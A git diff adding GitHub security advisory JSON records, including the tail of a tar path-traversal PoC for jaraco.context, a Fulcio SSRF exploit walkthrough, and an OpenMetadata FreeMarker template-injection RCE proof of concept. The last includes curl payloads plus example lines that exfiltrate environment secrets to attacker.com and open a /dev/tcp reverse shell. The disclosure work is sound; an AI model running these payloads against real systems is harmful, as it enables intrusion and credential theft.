\\\"escaped.txt\\\"), \\\"Escape to parent\\\"),\n ]\n\n escaped = False\n for check_path, description in traversal_attempts:\n if os.path.exists(check_path):\n print(f\\\"[+] Path Traversal Confirmed: {description}\\\")\n print(f\\\" File created at: {check_path}\\\")\n try:\n with open(check_path, 'r') as f:\n content = f.read()\n print(f\\\" Content: {content}\\\")\n print(f\\\" Removing: {check_path}\\\")\n os.remove(check_path)\n except Exception as e:\n print(f\\\" Error reading: {e}\\\")\n escaped = True\n else:\n print(f\\\"[-] OK: {description} - No escape detected\\\")\n\n if escaped:\n print(\\\"[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!\\\")\n else:\n print(\\\"[-] No path traversal detected (mitigation in place)\\\")\n\n finally:\n # Cleanup\n print()\n print(f\\\"[*] Cleaning up: {temp_base}\\\")\n try:\n shutil.rmtree(temp_base)\n except Exception as e:\n print(f\\\"[!] Cleanup error: {e}\\\")\n\n\ndef check_python_version():\n print(f\\\"[+] Python version: {sys.version}\\\")\n # Python 3.11.4+ added DEFAULT_FILTER\n if hasattr(tarfile, 'DEFAULT_FILTER'):\n print(\\\"[+] Python has DEFAULT_FILTER (tarfile security hardening)\\\")\n else:\n print(\\\"[!] Python does not have DEFAULT_FILTER (older version)\\\")\n print()\n\n\nif __name__ == \\\"__main__\\\":\n check_python_version()\n exploit_zipslip()\n```\n\nOutput:\n```\n[+] Python version: 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0] \n[!] Python does not have DEFAULT_FILTER (older version) \n\n[*] Target: setuptools._vendor.jaraco.context.tarball() \n[+] Created target extraction directory: /tmp/zipslip_test_tnu3qpd5/extraction_target \n[*] Creating malicious tar archive... \n[*] Extracting: ../../tmp/pwned_by_zipslip.txt -> ../../tmp/pwned_by_zipslip.txt \n ✓ Extracted successfully \n[*] Extracting: ../../../../home/pwned_home.txt -> ../../../../home/pwned_home.txt \n ! PermissionError: Path traversal ATTEMPTED \n[*] Extracting: ../escaped.txt -> ../escaped.txt \n ✓ Extracted successfully \n[*] Extracting: legitimate_file.txt -> legitimate_file.txt \n ✓ Extracted successfully \n[*] Checking for extracted files... \n[*] Files in target directory (/tmp/zipslip_test_tnu3qpd5/extraction_target): \nextraction_target/ \n legitimate_file.txt \n └─ This file stays in target directory... \n\n[*] Checking for traversal attempts... \n\n[-] OK: Escape to /tmp - No escape detected \n[-] OK: Escape to home - No escape detected \n[+] Path Traversal Confirmed: Escape to parent \n File created at: /tmp/zipslip_test_tnu3qpd5/escaped.txt \n Content: [ZIPSLIP] File in parent directory! \n Removing: /tmp/zipslip_test_tnu3qpd5/escaped.txt \n[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed! \n\n[*] Cleaning up: /tmp/zipslip_test_tnu3qpd5\n```\n\n### Impact\n\n- Arbitrary file creation in filesystem (HIGH exploitability) - especially if popular packages download tar files remotely and use this package to extract files.\n- Privesc (LOW exploitability)\n- Supply-Chain attack (VARIABLE exploitability) - relevant to the first point.\n\n### Remediation\n\nI guess removing the custom filter is not feasible given the backward compatibility issues that might come up you can use a safer filter `strip_first_component` that skips or sanitizes `../` character sequences since it is already there eg.\n```\nif member.name.startswith('/') or '..' in member.name:\n raise ValueError(f\\\"Attempted path traversal detected: {member.name}\\\")\n```", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "jaraco.context" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "5.2.0" + }, + { + "fixed": "6.1.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/jaraco/jaraco.context/security/advisories/GHSA-58pv-8j8x-9vj2" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23949" + }, + { + "type": "WEB", + "url": "https://github.com/jaraco/jaraco.context/commit/7b26a42b525735e4085d2e994e13802ea339d5f9" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jaraco/jaraco.context" + }, + { + "type": "WEB", + "url": "https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/__init__.py#L74-L91" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-22" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-13T21:48:17Z", + "nvd_published_at": "2026-01-20T01:15:57Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-58q2-9x27-h2jm/GHSA-58q2-9x27-h2jm.json b/advisories/github-reviewed/2026/01/GHSA-58q2-9x27-h2jm/GHSA-58q2-9x27-h2jm.json new file mode 100644 index 0000000000000..a24a409ad78c2 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-58q2-9x27-h2jm/GHSA-58q2-9x27-h2jm.json @@ -0,0 +1,82 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-58q2-9x27-h2jm", + "modified": "2026-01-15T22:31:35Z", + "published": "2026-01-15T20:12:25Z", + "aliases": [], + "summary": "solspace/craft-freeform Has a DoS Vulnerability", + "details": "### Summary\nFreeform plugin v4.1.29 uses vulnerable Axios ^1.7.7 allowing unauthenticated attackers to crash servers via malicious data: URIs causing memory exhaustion (CVE-2025-58754).\n\nFreeform version: 4.1.29\nCraft CMS version: 4.16.8\n\n### Impact\nWhen Axios runs on Node.js and is given a URL with the `data:` scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (`Buffer`/`Blob`) and returns a synthetic 200 response. This path ignores `maxContentLength` / `maxBodyLength` (which only protect HTTP responses), so an attacker can supply a very large `data:` URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested `responseType: 'stream'`.\n\nhttps://github.com/axios/axios/security/advisories/GHSA-4hjh-wcwx-xvwj\nhttps://github.com/axios/axios/pull/7011\nhttps://github.com/axios/axios/commit/945435fc51467303768202250debb8d4ae892593\nhttps://github.com/axios/axios/releases/tag/v1.12.0", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "solspace/craft-freeform" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "4.1.30" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "< 4.1.29" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/axios/axios/security/advisories/GHSA-4hjh-wcwx-xvwj" + }, + { + "type": "WEB", + "url": "https://github.com/solspace/craft-freeform/security/advisories/GHSA-58q2-9x27-h2jm" + }, + { + "type": "WEB", + "url": "https://github.com/axios/axios/pull/7011" + }, + { + "type": "WEB", + "url": "https://github.com/axios/axios/commit/945435fc51467303768202250debb8d4ae892593" + }, + { + "type": "WEB", + "url": "https://github.com/solspace/craft-freeform/commit/e7402a1d1ce9f28ecb6ce659885ac66391d3a040" + }, + { + "type": "WEB", + "url": "https://github.com/axios/axios/releases/tag/v1.12.0" + }, + { + "type": "PACKAGE", + "url": "https://github.com/solspace/craft-freeform" + }, + { + "type": "WEB", + "url": "https://github.com/solspace/craft-freeform/releases/tag/v4.1.30" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-770" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2026-01-15T20:12:25Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-594w-2fwp-jwrc/GHSA-594w-2fwp-jwrc.json b/advisories/github-reviewed/2026/01/GHSA-594w-2fwp-jwrc/GHSA-594w-2fwp-jwrc.json new file mode 100644 index 0000000000000..a4488b58f131e --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-594w-2fwp-jwrc/GHSA-594w-2fwp-jwrc.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-594w-2fwp-jwrc", + "modified": "2026-01-21T22:55:20Z", + "published": "2026-01-21T15:31:16Z", + "aliases": [ + "CVE-2025-14083" + ], + "summary": "Keycloak Admin REST API exposes backend schema and rules", + "details": "A flaw was found in the Keycloak Admin REST API. This vulnerability allows the exposure of backend schema and rules, potentially leading to targeted attacks or privilege escalation via improper access control.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "org.keycloak:keycloak-services" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "26.2.5" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14083" + }, + { + "type": "WEB", + "url": "https://github.com/keycloak/keycloak/issues/45493" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/security/cve/CVE-2025-14083" + }, + { + "type": "WEB", + "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2419086" + }, + { + "type": "PACKAGE", + "url": "https://github.com/keycloak/keycloak" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-284" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2026-01-21T22:55:20Z", + "nvd_published_at": "2026-01-21T13:16:02Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-595p-g7xc-c333/GHSA-595p-g7xc-c333.json b/advisories/github-reviewed/2026/01/GHSA-595p-g7xc-c333/GHSA-595p-g7xc-c333.json new file mode 100644 index 0000000000000..38bb6ec776f89 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-595p-g7xc-c333/GHSA-595p-g7xc-c333.json @@ -0,0 +1,88 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-595p-g7xc-c333", + "modified": "2026-01-14T21:46:11Z", + "published": "2026-01-14T21:46:11Z", + "aliases": [], + "summary": "Algolia Search & Discovery for Magento 2 Has Untrusted Data Handling", + "details": "### Impact\n\nVersions of the Algolia Search & Discovery extension for Magento 2 prior to **3.17.2** and **3.16.2** contain a vulnerability where data read from the database was treated as a trusted source during job execution.\n\nIf an attacker is able to modify records used by the extension’s indexing queue, this could result in **arbitrary PHP code execution** when the affected job is processed.\n\nExploitation requires the ability to write malicious data to the Magento database and for the indexing queue to be enabled.\n\n---\n\n### Patches\n\nThis vulnerability has been fixed in the following versions:\n\n- **3.17.2**\n- **3.16.2**\n\nMerchants should upgrade to a supported patched version immediately.\n\nVersions outside the supported maintenance window do **not** receive security updates and remain vulnerable.\n\n---\n\n### Workarounds\n\nUpgrading to a patched version is the only recommended remediation.\n\nIf an immediate upgrade is not possible, the following temporary risk mitigations may reduce exposure:\n\n- Disable the Algolia indexing queue to prevent queued jobs from being executed.\n- Restrict job execution logic to an explicit allowlist of permitted operations.\n- Review the contents of the `algoliasearch_queue` table for unexpected or unrecognized entries.\n- If queue archiving is enabled, review historical records in `algoliasearch_queue_archive`.\n\nThese mitigations are provided as guidance only and do not replace upgrading to a patched version.\n\n---\n\n### References\n\n- Algolia Search & Discovery for Magento 2 releases:\n - [3.16.2](https://github.com/algolia/algoliasearch-magento-2/releases/tag/3.16.2)\n - [3.17.2](https://github.com/algolia/algoliasearch-magento-2/releases/tag/3.17.2)", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "algolia/algoliasearch-magento-2" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "3.17.0-beta.1" + }, + { + "fixed": "3.17.2" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 3.17.1" + } + }, + { + "package": { + "ecosystem": "Packagist", + "name": "algolia/algoliasearch-magento-2" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "3.16.2" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 3.16.1" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/algolia/algoliasearch-magento-2/security/advisories/GHSA-595p-g7xc-c333" + }, + { + "type": "PACKAGE", + "url": "https://github.com/algolia/algoliasearch-magento-2" + }, + { + "type": "WEB", + "url": "https://github.com/algolia/algoliasearch-magento-2/releases/tag/3.16.2" + }, + { + "type": "WEB", + "url": "https://github.com/algolia/algoliasearch-magento-2/releases/tag/3.17.2" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-74" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-14T21:46:11Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-597g-3phw-6986/GHSA-597g-3phw-6986.json b/advisories/github-reviewed/2026/01/GHSA-597g-3phw-6986/GHSA-597g-3phw-6986.json new file mode 100644 index 0000000000000..f4b15a3ce6d19 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-597g-3phw-6986/GHSA-597g-3phw-6986.json @@ -0,0 +1,70 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-597g-3phw-6986", + "modified": "2026-01-13T18:45:57Z", + "published": "2026-01-13T18:45:57Z", + "aliases": [ + "CVE-2026-22702" + ], + "summary": "virtualenv Has TOCTOU Vulnerabilities in Directory Creation", + "details": "## Impact\n\nTOCTOU (Time-of-Check-Time-of-Use) vulnerabilities in `virtualenv` allow local attackers to perform symlink-based attacks on directory creation operations. An attacker with local access can exploit a race condition between directory existence checks and creation to redirect virtualenv's app_data and lock file operations to attacker-controlled locations.\n\n**Affected versions:** All versions up to and including 20.36.1\n\n**Affected users:** Any user running `virtualenv` on multi-user systems where untrusted local users have filesystem access to shared temporary directories or where `VIRTUALENV_OVERRIDE_APP_DATA` points to a user-writable location.\n\n**Attack scenarios:**\n- Cache poisoning: Attacker corrupts wheels or Python metadata in the cache\n- Information disclosure: Attacker reads sensitive cached data or metadata\n- Lock bypass: Attacker controls lock file semantics to cause concurrent access violations\n- Denial of service: Lock starvation preventing virtualenv operations\n\n## Patches\n\nThe vulnerability has been patched by replacing check-then-act patterns with atomic `os.makedirs(..., exist_ok=True)` operations.\n\n**Fixed in:** PR #3013\n\n**Versions with the fix:** 20.36.2 and later\n\nUsers should upgrade to version 20.36.2 or later.\n\n## Workarounds\n\nIf you cannot upgrade immediately:\n\n1. Ensure `VIRTUALENV_OVERRIDE_APP_DATA` points to a directory owned by the current user with restricted permissions (mode 0700)\n2. Avoid running `virtualenv` in shared temporary directories where other users have write access\n3. Use separate user accounts for different projects to isolate app_data directories\n\n## References\n\n- GitHub PR: https://github.com/pypa/virtualenv/pull/3013\n- Vulnerability reported by: @tsigouris007\n- CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization (TOCTOU)\n- CWE-59: Improper Link Resolution Before File Access", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "virtualenv" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "20.36.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-597g-3phw-6986" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22702" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/pull/3013" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/commit/dec4cec5d16edaf83a00a658f32d1e032661cebc" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pypa/virtualenv" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-362", + "CWE-59" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-13T18:45:57Z", + "nvd_published_at": "2026-01-10T07:16:02Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-59jp-pj84-45mr/GHSA-59jp-pj84-45mr.json b/advisories/github-reviewed/2026/01/GHSA-59jp-pj84-45mr/GHSA-59jp-pj84-45mr.json new file mode 100644 index 0000000000000..281a9e8982cc6 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-59jp-pj84-45mr/GHSA-59jp-pj84-45mr.json @@ -0,0 +1,68 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-59jp-pj84-45mr", + "modified": "2026-01-13T18:47:57Z", + "published": "2026-01-13T18:47:57Z", + "aliases": [ + "CVE-2026-22772" + ], + "summary": "Fulcio is vulnerable to Server-Side Request Forgery (SSRF) via MetaIssuer Regex Bypass", + "details": "# Security Disclosure: SSRF via MetaIssuer Regex Bypass\n\n## Summary\n\nFulcio's `metaRegex()` function uses unanchored regex, allowing attackers to bypass MetaIssuer URL validation and trigger SSRF to arbitrary internal services.\n\nSince the SSRF only can trigger GET requests, the request cannot mutate state. The response from the GET request is not returned to the caller so data exfiltration is not possible. A malicious actor could attempt to probe an internal network through [Blind SSRF](https://portswigger.net/web-security/ssrf/blind).\n\n## Impact\n\n- SSRF to cloud metadata (169.254.169.254)\n- SSRF to internal Kubernetes APIs\n- SSRF to any service accessible from Fulcio's network\n- Affects ALL deployments using MetaIssuers\n\n## Patches\n\nUpgrade to v1.8.5.\n\n## Workarounds\n\nNone. If anchors are included in the meta issuer configuration URL, they will be escaped before the regular expression is compiled, not making this a sufficient mitigation. Deployments must upgrade to the latest Fulcio release v1.8.5.\n\n## Affected Code\n\n**File**: `pkg/config/config.go` \n**Function**: `metaRegex()` (lines 143-156)\n\n```go\nfunc metaRegex(issuer string) (*regexp.Regexp, error) {\n quoted := regexp.QuoteMeta(issuer)\n replaced := strings.ReplaceAll(quoted, regexp.QuoteMeta(\"*\"), \"[-_a-zA-Z0-9]+\")\n return regexp.Compile(replaced) // Missing ^ and $ anchors\n}\n```\n\n## The Bug\n\nThe regex has no `^` (start) or `$` (end) anchors. Go's `regexp.MatchString()` does substring matching, so:\n\n```\nPattern: https://oidc.eks.*.amazonaws.com/id/*\nRegex: https://oidc\\.eks\\.[-_a-zA-Z0-9]+\\.amazonaws\\.com/id/[-_a-zA-Z0-9]+\n\nInput: https://attacker.com/x/https://oidc.eks.foo.amazonaws.com/id/bar\nResult: MATCHES (substring found)\n```\n\n## Exploit\n\n1. Attacker sends JWT with `iss` claim: `https://attacker.com/path/https://oidc.eks.x.amazonaws.com/id/y`\n2. Fulcio's `GetIssuer()` matches this against MetaIssuer patterns\n3. Unanchored regex matches the embedded pattern as substring\n4. Fulcio calls `oidc.NewProvider()` with attacker's URL\n5. HTTP request goes to `attacker.com`, not `amazonaws.com`\n6. Attacker returns OIDC discovery with `jwks_uri` pointing to internal service\n7. Fulcio fetches from internal service → SSRF", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/sigstore/fulcio" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.8.5" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 1.8.4" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/sigstore/fulcio/security/advisories/GHSA-59jp-pj84-45mr" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22772" + }, + { + "type": "WEB", + "url": "https://github.com/sigstore/fulcio/commit/eaae2f2be56df9dea5f9b439ec81bedae4c0978d" + }, + { + "type": "PACKAGE", + "url": "https://github.com/sigstore/fulcio" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-918" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-13T18:47:57Z", + "nvd_published_at": "2026-01-12T21:15:59Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-5f29-2333-h9c7/GHSA-5f29-2333-h9c7.json b/advisories/github-reviewed/2026/01/GHSA-5f29-2333-h9c7/GHSA-5f29-2333-h9c7.json new file mode 100644 index 0000000000000..172f01d10c3e3 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-5f29-2333-h9c7/GHSA-5f29-2333-h9c7.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-5f29-2333-h9c7", + "modified": "2026-01-20T18:02:42Z", + "published": "2026-01-07T19:33:03Z", + "aliases": [ + "CVE-2026-22244" + ], + "summary": "OpenMetadata's Server-Side Template Injection (SSTI) in FreeMarker email templates leads to RCE", + "details": "# OpenMetadata RCE Vulnerability - Proof of Concept\n\n## Executive Summary\n\n**CRITICAL Remote Code Execution vulnerability** confirmed in OpenMetadata v1.11.2 via **Server-Side Template Injection (SSTI)** in FreeMarker email templates.\n\n## Credit\n- @lnlinh31, @satthusaosan, @TheMacCuoi, @get-wright, @Ohnooo1234, @hienduc14 – FPT Cloud AppSec Research Team, FPT Smart Cloud\n\n## Vulnerability Details\n\n### 1. Root Cause\n\nFile: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java`\n\n**Lines 35-45** contain unsafe FreeMarker template instantiation:\n\n```java\npublic Template getTemplate(String templateName) throws IOException {\n EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);\n String template = emailTemplate.getTemplate(); // ← USER-CONTROLLED CONTENT FROM DATABASE\n \n if (nullOrEmpty(template)) {\n throw new IOException(\"Template content not found for template: \" + templateName);\n }\n \n return new Template(\n templateName, \n new StringReader(template), // ← RENDERS UNTRUSTED TEMPLATE\n new Configuration(Configuration.VERSION_2_3_31)); // ← UNSAFE: NO SECURITY RESTRICTIONS!\n}\n```\n\n**Missing Security Controls**:\n- ❌ No `setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER)` - Allows arbitrary class instantiation\n- ❌ No `setAPIBuiltinEnabled(false)` - Enables `?api` built-in for reflection\n- ❌ No input validation - Template content not sanitized\n\n### 2. Attack Vector (VERIFIED)\n\n**Step 1**: Attacker with Admin role modifies EmailTemplate via PATCH endpoint\n\n```bash\nPATCH /api/v1/docStore/{templateId}\nAuthorization: Bearer \nContent-Type: application/json-patch+json\n\n[\n {\n \"op\": \"replace\",\n \"path\": \"/data/template\",\n \"value\": \"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>

    RCE: ${ ex(\\\"whoami\\\") }

    \"\n }\n]\n```\n\n**Step 2**: Malicious template stored in MySQL database:\n\n```sql\nSELECT name, JSON_EXTRACT(json, '$.data.template') \nFROM docstore \nWHERE name = 'account-activity-change';\n\n-- Returns: <#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>...\n```\n\n**Step 3**: Trigger template rendering via email notification:\n- Password change\n- User invitation\n- Account activity notification\n- Test email (if SMTP configured)\n\n**Step 4**: RCE execution in `DefaultTemplateProvider.getTemplate()`:\n\n```java\nTemplate template = templateProvider.getTemplate(\"account-activity-change\");\ntemplate.process(model, stringWriter); // ← COMMAND EXECUTES HERE AS SERVER USER!\n```\n\n---\n\n## Exploit Verification\n\n### Environment\n\n- **Version**: OpenMetadata 1.11.2 (Latest)\n- **Platform**: Docker Compose (MySQL 8.0 + Elasticsearch 8.11.4)\n- **Test Date**: December 15, 2025\n\n### Step-by-Step Reproduction\n\n#### 1. Deploy OpenMetadata 1.11.2\n\n```bash\ncd docker\n./run_local_docker.sh -m no-ui -d mysql\n```\n\n**Result**: ✅ OpenMetadata running on localhost:8585\n\n#### 2. Obtain Admin JWT Token\n\n```bash\nexport NO_PROXY=localhost,127.0.0.1\nTOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \\\n -H \"Content-Type: application/json\" \\\n -d '{\"email\":\"admin@open-metadata.org\",\"password\":\"YWRtaW4=\"}' \\\n | grep -o '\"accessToken\":\"[^\"]*' | cut -d'\"' -f4)\n\necho \"Token: ${TOKEN:0:50}...\"\n```\n\n**Result**: ✅ Token obtained (654 characters, 1-hour expiry)\n\n#### 3. Identify Target Template\n\n```bash\n# Get testMail template ID (used by test email endpoint)\ncurl -s \"http://localhost:8585/api/v1/docStore?entityType=EmailTemplate\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n | jq -r '.data[] | select(.name==\"testMail\") | .id'\n```\n\n**Result**: ✅ Template ID: `855f58c6-1b80-467a-b92e-71c425e9bfdb`\n\n#### 4. Inject RCE Payload\n\n```bash\ncurl -X PATCH \"http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb\" \\\n -H \"Content-Type: application/json-patch+json\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -d '[{\n \"op\": \"replace\",\n \"path\": \"/data/template\",\n \"value\": \"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>RCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"\n }]'\n```\n\n**Result**: ✅ **HTTP 200 OK** - Template modified successfully\n\n**Response Excerpt**:\n```json\n{\n \"id\": \"855f58c6-1b80-467a-b92e-71c425e9bfdb\",\n \"name\": \"testMail\",\n \"entityType\": \"EmailTemplate\",\n \"data\": {\n \"template\": \"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>RCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"\n },\n \"changeDescription\": {\n \"fieldsUpdated\": [\n {\n \"name\": \"data\",\n \"oldValue\": \"{\\\"template\\\":\\\"RCE OUTPUT: ${ex(\\\\\\\"whoami\\\\\\\")} - ${ex(\\\\\\\"pwd\\\\\\\")}\\\"}\"\n }\n ]\n }\n}\n```\n\n#### 5. Setup SMTP Server\n\n```bash\n# Start MailDev SMTP server (catches emails for verification)\ndocker run -d --name fakesmtp \\\n --network linhln31_default \\\n -p 1025:1025 -p 1080:1080 \\\n maildev/maildev:latest\n\n# Update OpenMetadata SMTP configuration\ndocker exec om_mysql mysql -uopenmetadata_user -popenmetadata_password \\\n -Dopenmetadata_db -e \"UPDATE openmetadata_settings \n SET json=JSON_SET(json, \n '$.serverEndpoint', 'fakesmtp', \n '$.serverPort', 1025, \n '$.transportationStrategy', 'SMTP',\n '$.enableSmtpServer', true,\n '$.senderMail', 'noreply@openmetadata.org'\n ) \n WHERE configType='emailConfiguration';\"\n\n# Restart OpenMetadata to load new SMTP config\ndocker restart om_server\nsleep 50 # Wait for server startup\n```\n\n**Result**: ✅ SMTP server ready at fakesmtp:1025\n\n#### 6. Trigger RCE Execution\n\n```bash\ncurl -X PUT \"http://localhost:8585/api/v1/system/email/test\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -d '{\"email\":\"test@test.com\"}'\n```\n\n**Result**: ✅ **HTTP 200 OK** - \"Test Email Sent Successfully.\"\n\n#### 7. Verify RCE Execution\n\n```bash\n# Check email content in MailDev\ndocker exec fakesmtp cat /tmp/maildev-1/*.eml | tail -10\n```\n\n**Result**: ✅ **RCE CONFIRMED!**\n\n**Email Content**:\n```\nDate: Mon, 15 Dec 2025 17:03:20 +0000 (GMT)\nFrom: noreply@openmetadata.org\nTo: test@test.com\nMessage-ID: <1307498173.2.1765818200564@62a9f8b5b6f2>\nSubject: OpenMetadata : Test Email\nMIME-Version: 1.0\nContent-Type: text/html; charset=\"UTF-8\"\nContent-Transfer-Encoding: quoted-printable\n\nRCE OUTPUT: openmetadata\n - /opt/openmetadata\n```\n\n**Command Execution Proof**:\n- ✅ `whoami` command executed → returned `openmetadata`\n- ✅ `pwd` command executed → returned `/opt/openmetadata`\n- ✅ Commands ran as server process user\n- ✅ Full arbitrary command execution achieved\n\n---\n\n## Attack Scenarios\n\n### Scenario 1: Privilege Escalation\n\n1. Attacker compromises Admin account (phishing, credential stuffing, etc.)\n2. Injects RCE payload into `password-reset` template\n3. Triggers password reset for target user\n4. RCE executes as OpenMetadata server user during email rendering\n5. Attacker gains shell access to application server\n\n### Scenario 2: Data Exfiltration\n\n```freemarker\n<#assign ex=\"freemarker.template.utility.Execute\"?new()>\n${ex(\"cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-\")}\n```\n\nExfiltrates environment variables containing:\n- Database credentials\n- API keys and secrets\n- JWT signing keys\n- Cloud provider credentials\n\n### Scenario 3: Reverse Shell\n\n```freemarker\n<#assign ex=\"freemarker.template.utility.Execute\"?new()>\n${ex(\"bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'\")}\n```\n\nEstablishes persistent access for:\n- Interactive command execution\n- Lateral movement to connected systems\n- Database direct access\n- Kubernetes cluster compromise (if containerized)\n\n---\n\n## Impact Assessment\n\n### Technical Impact\n\n- **Confidentiality**: **HIGH** - Access to database credentials, API keys, secrets\n- **Integrity**: **HIGH** - Full control over OpenMetadata application and data\n- **Availability**: **HIGH** - Ability to crash application, delete data, deny service\n\n### Business Impact\n\n- **Data Breach**: Access to all metadata including sensitive schema information, PII mappings, data lineage\n- **Compliance**: GDPR, SOC2, HIPAA violations if exploited\n- **Reputation**: Critical security failure in data governance platform\n- **Supply Chain**: Potential pivot to connected data sources (70+ connectors)\n\n### CVSS 3.1 